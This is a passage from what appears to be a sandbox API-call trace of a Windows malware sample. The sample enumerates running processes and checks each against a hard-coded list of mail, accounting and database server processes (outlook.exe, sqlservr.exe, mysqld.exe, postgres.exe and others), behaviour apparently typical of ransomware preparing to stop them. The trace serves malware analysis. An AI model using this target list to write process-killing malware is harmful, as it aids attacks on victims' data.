(lpString="System") returned 6 [0076.472] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0076.472] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0076.472] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0076.472] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0076.472] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0076.472] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0076.472] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0076.472] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0076.473] lstrlenW (lpString="smss.exe") returned 8 [0076.473] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0076.473] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0076.473] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0076.473] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0076.473] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0076.473] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0076.474] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0076.474] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0076.474] lstrlenW (lpString="csrss.exe") returned 9 [0076.474] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0076.474] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0076.474] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0076.475] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0076.475] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0076.475] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0076.475] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0076.475] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0076.475] lstrlenW (lpString="wininit.exe") returned 11 [0076.475] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0076.476] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0076.476] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0076.476] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0076.476] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0076.476] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0076.476] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0076.476] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0076.476] lstrlenW (lpString="csrss.exe") returned 9 [0076.477] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0076.477] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0076.477] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0076.477] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0076.477] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0076.477] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0076.477] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0076.478] lstrlenW (lpString="winlogon.exe") returned 12 [0076.478] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0076.479] lstrlenW (lpString="services.exe") returned 12 [0076.479] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0076.855] lstrlenW (lpString="lsass.exe") returned 9 [0076.855] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0076.856] lstrlenW (lpString="lsm.exe") returned 7 [0076.856] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.857] lstrlenW (lpString="svchost.exe") returned 11 [0076.857] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.858] lstrlenW (lpString="svchost.exe") returned 11 [0076.858] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.859] lstrlenW (lpString="svchost.exe") returned 11 [0076.859] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.860] lstrlenW (lpString="svchost.exe") returned 11 [0076.860] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.861] lstrlenW (lpString="svchost.exe") returned 11 [0076.861] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0076.862] lstrlenW (lpString="audiodg.exe") returned 11 [0076.862] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.863] lstrlenW (lpString="svchost.exe") returned 11 [0076.863] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.864] lstrlenW (lpString="svchost.exe") returned 11 [0076.864] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0076.865] lstrlenW (lpString="dwm.exe") returned 7 [0076.865] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0076.866] lstrlenW (lpString="explorer.exe") returned 12 [0076.866] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0076.867] lstrlenW (lpString="spoolsv.exe") returned 11 [0076.867] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.868] lstrlenW (lpString="svchost.exe") returned 11 [0076.868] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0076.869] lstrlenW (lpString="taskhost.exe") returned 12 [0076.869] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0076.870] lstrlenW (lpString="taskeng.exe") returned 11 [0076.870] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0076.871] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0076.871] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0076.872] lstrlenW (lpString="while damaged.exe") returned 17 [0076.872] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0076.873] lstrlenW (lpString="hosted_thee.exe") returned 15 [0076.873] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0076.874] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0076.874] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0076.875] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0076.875] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0076.876] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0076.876] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0076.877] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0076.877] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0076.878] lstrlenW (lpString="l_greene_go.exe") returned 15 [0076.878] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0076.879] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0076.879] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0076.879] lstrlenW (lpString="spots wm.exe") returned 12 [0076.879] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0076.880] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0076.880] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0076.881] lstrlenW (lpString="lp imagination.exe") returned 18 [0076.881] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0076.882] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0076.882] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0076.883] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0076.883] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0076.884] lstrlenW (lpString="voluntary teach.exe") returned 19 [0076.884] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0076.885] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0076.885] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0076.885] lstrlenW (lpString="jesse.exe") returned 9 [0076.885] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0076.886] lstrlenW (lpString="partners_format.exe") returned 19 [0076.886] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0076.887] lstrlenW (lpString="predict.exe") returned 11 [0076.887] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0076.888] lstrlenW (lpString="supervisor.exe") returned 14 [0076.888] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0076.889] lstrlenW (lpString="3dftp.exe") returned 9 [0076.889] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0076.890] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0076.890] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0076.890] lstrlenW (lpString="alftp.exe") returned 9 [0076.890] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0076.891] lstrlenW (lpString="barca.exe") returned 9 [0076.891] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0076.892] lstrlenW (lpString="bitkinex.exe") returned 12 [0076.892] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0076.893] lstrlenW (lpString="coreftp.exe") returned 11 [0076.893] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0076.894] lstrlenW (lpString="far.exe") returned 7 [0076.894] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0076.894] lstrlenW (lpString="filezilla.exe") returned 13 [0076.894] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0076.895] lstrlenW (lpString="flashfxp.exe") returned 12 [0076.895] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0076.896] lstrlenW (lpString="fling.exe") returned 9 [0076.896] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0076.897] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0076.897] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0076.898] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0076.898] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0076.899] lstrlenW (lpString="icq.exe") returned 7 [0076.899] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0077.171] lstrlenW (lpString="leechftp.exe") returned 12 [0077.180] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0077.184] lstrlenW (lpString="ncftp.exe") returned 9 [0077.184] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0077.185] lstrlenW (lpString="notepad.exe") returned 11 [0077.185] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0077.186] lstrlenW (lpString="operamail.exe") returned 13 [0077.187] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0077.188] lstrlenW (lpString="pidgin.exe") returned 10 [0077.188] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0077.189] lstrlenW (lpString="scriptftp.exe") returned 13 [0077.189] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0077.190] lstrlenW (lpString="skype.exe") returned 9 [0077.190] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0077.191] lstrlenW (lpString="smartftp.exe") returned 12 [0077.191] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 